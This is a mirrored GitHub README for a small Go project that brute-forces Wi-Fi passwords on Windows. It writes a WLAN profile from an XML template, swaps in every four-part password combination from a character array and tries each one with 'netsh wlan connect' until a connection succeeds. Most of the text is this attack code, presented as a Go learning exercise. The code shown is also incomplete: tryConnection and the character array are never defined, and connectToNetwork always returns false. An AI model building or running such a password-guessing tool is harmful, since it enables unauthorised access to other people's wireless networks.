Giter Site home page Giter Site logo

netsh's Introduction

Golang Netsh

Motivation

This project was inspired by the netsh package as well as to learn Golang.

Networking

The networking works by creating a profile xml file and attepting to connect with the correct password.

Initalize

This function is it Initalize the project for other operations by creating the xml file based off of the provided file inside the project. The function copies the file content and writes it to a new file.

func initalize(name string) error {
	data, err := ioutil.ReadFile("template.xml")
	must(err)
	str := string(data)
	str = strings.Replace(str, "{SSID}", name, 2)

	f, err := os.Create("profile.xml")
	must(err)
	f.Write([]byte(str))
	f.Close()
	return nil
}

Close

The close function simply cleans the workspace by deleting the initalized file

func close() error {
	err := os.Remove("profile.xml")
	must(err)
	return err
}

CreateFileProfile

The function createFileProfile works by creating a file profile filled with the provided password.

func createFileProfile(name, pass, prev string) {
	data, err := ioutil.ReadFile("profile.xml")
	must(err)
	str := string(data)
	str = strings.Replace(str, prev, pass, 1)
	os.WriteFile("profile.xml", []byte(str), 0644)
}

Connect to network

The connectToNetwork function works to make a connection attept to the provided network.

func connectToNetwork(name string) bool {
	str := fmt.Sprintf("name=%s", name)
	out, err := exec.Command("netsh", "wlan", "connect", str).Output()
	must(err)
	fmt.Print(string(out))
	return false
}

TryPws

Function that will try all possible passwords to a specified network and return the found password.

func tryPws(name string) (string, bool) {
	initalize(name)
	previous := "{password}"
	for i := 0; i < len(arr); i++ {
		for j := 0; j < len(arr); j++ {
			for ii := 0; ii < len(arr); ii++ {
				for jj := 0; jj < len(arr); jj++ {
					pw := arr[i] + arr[j] + arr[ii] + arr[jj]
					if tryConnection(name, pw, previous) {
						close()
						return pw, true
					}
					previous = pw
				}
			}
		}
	}
	close()
	return "", false
}

netsh's People

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.